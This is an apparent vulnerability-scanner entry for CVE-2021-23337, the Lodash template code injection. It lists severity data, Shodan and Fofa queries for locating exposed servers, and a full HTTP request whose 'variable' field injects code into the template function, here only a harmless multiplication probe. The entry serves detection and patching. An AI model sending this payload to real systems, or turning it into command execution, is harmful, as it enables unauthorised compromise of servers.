| Title | Lodash Template - Server-Side Template Injection (RCE) |
|---|---|
| Author | DhiyaneshDk |
| Severity | High |
| Impact | Attackers can execute arbitrary commands on the host system, leading to full system compromise. |
| Remediation | Update to version 4.17.21 or later. |
| CVSS Score | 7.2 |
| EPSS Score | 0.04314 |
| CVE ID | CVE-2021-23337 |
| CWE ID | CWE-94 |
| Shodan Query | http.component:"lodash" |
| Fofa Query | body="lodash" |
| Tags | cve cve2021 lodash ssti rce nodejs javascript |
Lodash versions prior to 4.17.21 are vulnerable to Command Injection via the template function.
POST /template HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.1 Safari/605.1.15
Connection: close
Content-Length: 103
Content-Type: application/json
Accept-Encoding: gzip
{"template":"<%= name %>","variable":") { return String(9727*9133) }; with(obj","data":{"name":"test"}}
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-23337.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-23337.pcap
N/AN/A